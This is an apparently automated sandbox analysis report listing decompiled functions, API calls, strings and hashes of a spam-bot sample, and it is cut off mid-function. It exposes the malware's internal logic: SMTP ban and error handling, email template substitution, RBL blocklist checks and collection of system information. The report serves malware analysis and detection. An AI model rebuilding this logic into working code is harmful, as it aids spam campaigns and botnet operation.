Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 00639576, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 00639590
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 006395BE
GetModuleFileNameA.KERNEL32(00000000), ref: 006395C5
wsprintfA.USER32 ref: 0063961E
wsprintfA.USER32 ref: 0063965C
wsprintfA.USER32 ref: 006396DD
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 00639741
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00639776
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 006397C1

Strings

PromptOnSecureDesktop, xrefs: 006395ED, 0063960D, 0063964B, 0063966C, 0063969F, 006396C8, 006396EA, 0063971D, 00639769, 006397A0

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop
API String ID: 3696105349-2980165447
Opcode ID: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction ID: c47706be58dfcc8a2192fd2c0396f4e3d34ead2443eef73ebc0383dc8aff7bac
Opcode Fuzzy Hash: 0d65d5301a6a49fceabf2f95fb7146ab38e3d88028f93bcd31063ea55defb5ef
Instruction Fuzzy Hash: 52A15EB1940208ABEB25DFA0DC85FDE3BADFB45341F10402AFA0596252E7B5D9848FE4

Uniqueness

Uniqueness Score: -1.00%

Function 004349C5, Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004349C9
_strlen.LIBCMT ref: 004349F9
_write_multi_char.LIBCMTD ref: 0043519E
_write_string.LIBCMTD ref: 004351B9
_write_multi_char.LIBCMTD ref: 004351E5
_wctomb_s.LIBCMTD ref: 00435262

Strings

-, xrefs: 0043513E
xD@, xrefs: 004349EC

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: -$xD@
API String ID: 2232461714-1745409720
Opcode ID: 9de2f306c9ad891186f28d79d38195dc26780505247e2c2f6b629eeae44300f5
Instruction ID: 2136029f50a8936d2696b0b9c4dc94803df245cfd5d0d8b2bdc3f500ff3e9765
Opcode Fuzzy Hash: 9de2f306c9ad891186f28d79d38195dc26780505247e2c2f6b629eeae44300f5
Instruction Fuzzy Hash: D0A17BB4D016289FDF24CF54CC89BEEB7B0AB88304F1491DAD4196B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

time_cfg, xrefs: 0040F323
ps, xrefs: 0040F375, 0040F3A0

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: ps$time_cfg
API String ID: 311057483-1008165782
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

smtp_retr, xrefs: 0040BE61, 0040BF8C
06A, xrefs: 0040BF70
smtp_herr, xrefs: 0040BE46, 0040BF62
86A, xrefs: 0040BF98
smtp_ban, xrefs: 0040BE55, 0040BF77
46A, xrefs: 0040BF85

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 5ed1ca685c1a1102e109d808c77f40e9161e989bab58e2ccc029642cf3dec37a
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%P5DATE, xrefs: 0040B4F2
%FROM_EMAIL, xrefs: 0040B3E9
%FROM_USER, xrefs: 0040B431
%DATE, xrefs: 0040B4D2
%TO_EMAIL, xrefs: 0040B473
%TO_HASH, xrefs: 0040B4B0
%TO_DOMAIN, xrefs: 0040B44B
%M5DATE, xrefs: 0040B50F
%TO_USER, xrefs: 0040B488
%s@%s, xrefs: 0040B461
%FROM_DOMAIN, xrefs: 0040B41E

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0043BCD4, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043BCD8
_strlen.LIBCMT ref: 0043BD08
_write_multi_char.LIBCMTD ref: 0043C4EB
_write_string.LIBCMTD ref: 0043C506
_write_multi_char.LIBCMTD ref: 0043C532
__mbtowc_l.LIBCMTD ref: 0043C5A1

Strings

xD@, xrefs: 0043BCFB

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: xD@
API String ID: 909868375-1198140267
Opcode ID: 32a76c3336a745aa7a7fc791be508ae46b9747e1524d56ba871ad5c93c28bbce
Instruction ID: f0fde3c5d14bb03ca9de968e4478e9fc07ff4fc4c021f7663aff0386a80ec660
Opcode Fuzzy Hash: 32a76c3336a745aa7a7fc791be508ae46b9747e1524d56ba871ad5c93c28bbce
Instruction Fuzzy Hash: EDA16CB1D00228DBDB24DF54CC81BAEB3B4EB48305F14919AE6197B281D738AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00631FE6, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00632016
GetSystemInfo.KERNEL32(?), ref: 00632038
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 00632053
GetProcAddress.KERNEL32(00000000), ref: 0063205A
GetCurrentProcess.KERNEL32(?), ref: 0063206B
GetTickCount.KERNEL32 ref: 00632219

Part of subcall function 00631E2F: GetComputerNameA.KERNEL32(?,0000000F), ref: 00631E65

Strings

hi_id, xrefs: 00632166, 0063216B, 00632183
flags_upd, xrefs: 0063208E, 00632093, 006320CC
work_srv, xrefs: 006320AE
localcfg, xrefs: 0063207A, 00632081, 00632094, 006320CD, 006320DC, 00632102, 00632121, 00632137, 0063214F, 0063216C, 00632184, 006321A0, 006321C0

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-1391650218
Opcode ID: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction ID: 94cc20dcb387e70bb398ca362ec6a0efb1c6f7f9d5388dea10f7f4699126b390
Opcode Fuzzy Hash: 95941b0076ff9e03750b1b60fd5c4485c08a11f1e0340fac45349bf3b379a799
Instruction Fuzzy Hash: CF51D6B09043486FE370AF658C85FA7BAEDEF45704F00492DFA9582242D7B5A944C7F9

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
				_t96 =  *((intOrPtr*)(_t104 + 0x114));
				if(_t35 -  *0x4122e0 > 0xdbba0) {
					_t58 =  *0x412000; // 0x410288
					_t103 = 0;
					if( *_t58 != 0) {
						_t60 = 0x412000;
						do {
							if(E00402684( *_t60) == 0) {
								goto L11;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000004;
								if(E00401978(_t61, 0x50) != 0) {
									_t12 = _t96 + 0x14;
									 *_t12 =  *(_t96 + 0x14) | 0x00000002;
									__eflags =  *_t12;
								} else {
									goto L11;
								}
							}
							goto L14;
							L11:
							_t103 = _t103 + 1;
							_t60 = 0x412000 + _t103 * 4;
						} while ( *((char*)( *(0x412000 + _t103 * 4))) != 0);
					}
					L14:
					 *0x4122e0 = GetTickCount();
				}
				if(GetTickCount() -  *0x4122dc > 0xdbba0) {
					_t53 =  *0x412000; // 0x410288
					_t102 = 0;
					if( *_t53 != 0) {
						_t55 = 0x412000;
						do {
							if(E00402EF8( *_t55) == 0) {
								goto L20;
							} else {
								 *(_t96 + 0x14) =  *(_t96 + 0x14) | 0x00000008;
								if(E00401978(_t56, 0x19) != 0) {
									_t18 = _t96 + 0x14;
									 *_t18 =  *(_t96 + 0x14) | 0x00000001;
									__eflags =  *_t18;
								} else {
									goto L20;
								}
							}
							goto L23;
							L20:
							_t102 = _t102 + 1;
							_t55 = 0x412000 + _t102 * 4;
						} while ( *((char*)( *(0x412000 + _t102 * 4))) != 0);
					}
					L23:
					 *0x4122dc = GetTickCount();
				}
				 *(_t96 + 0x28) = GetTickCount() / 0x3e8;
				 *((intOrPtr*)(_t96 + 0x2c)) = GetTickCount() / 0x3e8 -  *0x412110;
				_t45 = E0040F04E(0) -  *0x4122f0;
				_t93 = "localcfg";
				_t122 = _t45 -  *0x4122e4; // 0x0
				if(_t122 > 0) {
					E0040E854(1, "localcfg", "rbl_bl", _t104 + 0x18, 0x100, 0x410264);
					_t51 = E0040E819(1, _t93, "rbl_ip", 0);
					_t104 = _t104 + 0x28;
					if(_t51 == 0) {
						L28:
						 *0x4122e4 = 0x12c;
					} else {
						_t124 =  *((intOrPtr*)(_t104 + 0x10));
						if( *((intOrPtr*)(_t104 + 0x10)) == 0) {
							goto L28;
						} else {
							_push(_t104 + 0x10);
							_push(_t51);
							 *((intOrPtr*)(_t96 + 0x38)) = E00401C5F(_t124);
							 *0x4122e4 = 0x4b0;
						}
					}
				}
				_t47 = E0040F04E(0) -  *0x4122f0;
				if(_t47 > 0x4b0) {
					E0040EA84(1, _t93, "net_type",  *(_t96 + 0x14));
					_t47 = E0040F04E(0);
					 *0x4122f0 = _t47;
				}
				return _t47;
			}

0x0040201e
0x00402020
0x0040202f
0x0040202f
0x0040203b
0x0040203d
0x0040204c
0x0040204c
0x00402058
0x0040205a
0x00402069
0x00402069
0x00402078
0x00402080
0x0040208e
0x00402090
0x00402095
0x0040209a
0x0040209c
0x004020a1
0x004020ab
0x00000000
0x004020ad
0x004020ad
0x004020bd
0x004020d0
0x004020d0
0x004020d0
0x00000000
0x00000000
0x00000000
0x004020bd
0x00000000
0x004020bf
0x004020bf
0x004020c0
0x004020c9
0x004020ce
0x004020d4
0x004020d6
0x004020d6
0x004020e5
0x004020e7
0x004020ec
0x004020f1
0x004020f3
0x004020f8
0x00402102
0x00000000
0x00402104
0x00402104
0x00402114
0x00402127
0x00402127
0x00402127
0x00000000
0x00000000
0x00000000
0x00402114
0x00000000
0x00402116
0x00402116
0x00402117
0x00402120
0x00402125
0x0040212b
0x0040212d
0x0040212d
0x0040213f
0x00402151
0x00402159
0x00402160
0x0040216a
0x00402170
0x00402189
0x00402197
0x0040219c
0x004021a1
0x004021c1
0x004021c1
0x004021a3
0x004021a3
0x004021a7
0x00000000
0x004021a9
0x004021ad
0x004021ae
0x004021b6
0x004021b9
0x004021b9
0x004021a7
0x004021a1
0x004021d1
0x004021da
0x004021e7
0x004021ed
0x004021f5
0x004021f5
0x00402204

APIs

GetTickCount.KERNEL32 ref: 00402078
GetTickCount.KERNEL32 ref: 004020D4
GetTickCount.KERNEL32 ref: 004020DB
GetTickCount.KERNEL32 ref: 0040212B
GetTickCount.KERNEL32 ref: 00402132
GetTickCount.KERNEL32 ref: 00402142

Part of subcall function 0040F04E: SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,0040E342,00000000,73AFF210,80000001,00000000,0040E513,?,?,?,?,000000E4), ref: 0040F089
Part of subcall function 0040F04E: GetSystemTimeAsFileTime.KERNEL32(80000001,?,?,?,0040E342,00000000,73AFF210,80000001,00000000,0040E513,?,?,?,?,000000E4,000000C8), ref: 0040F093

Part of subcall function 0040E854: lstrcpyA.KERNEL32(00000001,?,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E88B
Part of subcall function 0040E854: lstrlenA.KERNEL32(00000001,?,0040D8DF,00000001,localcfg,except_info,00100000,00410264), ref: 0040E899

Part of subcall function 00401C5F: wsprintfA.USER32 ref: 00401CE1

Strings

net_type, xrefs: 004021DF
rbl_bl, xrefs: 00402181
rbl_ip, xrefs: 0040218F
localcfg, xrefs: 00402070, 00402160, 00402186, 00402194, 004021E4

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CountTick$Time$FileSystem$lstrcpylstrlenwsprintf
String ID: localcfg$net_type$rbl_bl$rbl_ip
API String ID: 3976553417-1522128867
Opcode ID: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction ID: 2c4ade229706ff5e66d1d9a19171a9bb61e55472092035c31cb102c4d2320628
Opcode Fuzzy Hash: e666061d80d691fc6b112011ec25e37af1bccbb964f924a1abaaf546849d61ae
Instruction Fuzzy Hash: CF51F3706043465ED728EB21EF49B9A3BD4BB04318F10447FE605E62E2DBFC9494CA1D

Uniqueness

Uniqueness Score: -1.00%

Function 0043BEAA, Relevance: 16.7, APIs: 11, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043BEAE
__get_printf_count_output.LIBCMTD ref: 0043BEBC
__invalid_parameter.LIBCMTD ref: 0043BF43
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043BF58
_write_multi_char.LIBCMTD ref: 0043C4EB
_write_string.LIBCMTD ref: 0043C506
_write_multi_char.LIBCMTD ref: 0043C532
__mbtowc_l.LIBCMTD ref: 0043C5A1

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID:
API String ID: 2386203720-0
Opcode ID: e75fd913f953f4bd9653b71155ba6c80b02b3dcebcce40f6fd16ccd9e8a7306e
Instruction ID: f7d25c1d39e0161d1317ffd31169a381fc71d93cc253714383f20dd9e5622fbd
Opcode Fuzzy Hash: e75fd913f953f4bd9653b71155ba6c80b02b3dcebcce40f6fd16ccd9e8a7306e
Instruction Fuzzy Hash: 7AA18EF5E002289BDB24DF55CC81BAEB374EB48304F14549AE6197B282D7789E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2DC, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 182
threadCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040C2DC(void* __ebp, signed int _a4) {
				void* _t86;
				signed int _t90;
				signed int _t91;
				long _t93;
				signed int _t95;
				signed int _t101;
				signed int _t108;
				signed int _t112;
				signed int _t115;
				long _t117;
				long _t118;
				signed int _t120;
				struct _SECURITY_ATTRIBUTES* _t122;
				signed int _t123;
				signed int _t132;
				signed int _t148;
				signed char _t151;
				signed int _t154;
				signed int _t156;
				signed char* _t157;
				void* _t158;
				signed int _t163;

				_t158 = __ebp;
				_t157 = _a4;
				E0040A4C7(_t157);
				_t122 = 0;
				if(_t157[0x44] == 0) {
					_t157[8] = 0;
					_t157[0x34] = 0;
					_t157[0x38] = 0;
					_t157[0x3c] = 0;
					_t157[0x54] = 0;
					_t157[0x40] = 0;
					_t157[0x58] = 0;
					L31:
					_t82 =  &(_t157[4]); // 0x40c4e4
					_t86 = _t82;
					_t148 =  !( *_t157) & 0x00000001;
					_t157[0x5c] = _t122;
					_t84 =  &(_t157[8]); // 0xfffffdf0
					if( *_t86 >=  *_t84) {
						L34:
						return _t86;
					}
					_t86 = CreateThread(_t122, _t122, E0040B535, InterlockedIncrement(_t86) | _t148 << 0x00000010, _t122, _t122);
					if(_t86 == _t122) {
						goto L34;
					}
					return CloseHandle(_t86);
				}
				if(_t157[8] != 0) {
					__eflags = _t157[0x48];
					if(_t157[0x48] == 0) {
						L5:
						_t12 =  &(_t157[0x10]); // 0x59be026a
						_t90 =  *_t12;
						_t157[8] = _t90;
						_t157[0x34] = _t90;
						_t91 = _t90 * 0x3e8;
						__eflags = _t91;
						_t157[0x38] = _t122;
						_t157[0x3c] = _t122;
						_t157[0x1c] = _t90 * 0x2710;
						_t157[0x20] = _t91;
						goto L6;
					}
					_t118 = GetTickCount();
					_t11 =  &(_t157[0x48]); // 0x13740041
					__eflags = _t118 -  *_t11 - 0x927c0;
					if(_t118 -  *_t11 < 0x927c0) {
						goto L6;
					}
					goto L5;
				} else {
					_t4 =  &(_t157[0xc]); // 0x5756c359
					_t120 =  *_t4;
					_t157[0x1c] = _t120 * 0x2710;
					_t157[8] = _t120;
					_t157[0x20] = _t120 * 0x3e8;
					_t157[0x34] = _t120;
					_t157[0x48] = GetTickCount();
					L6:
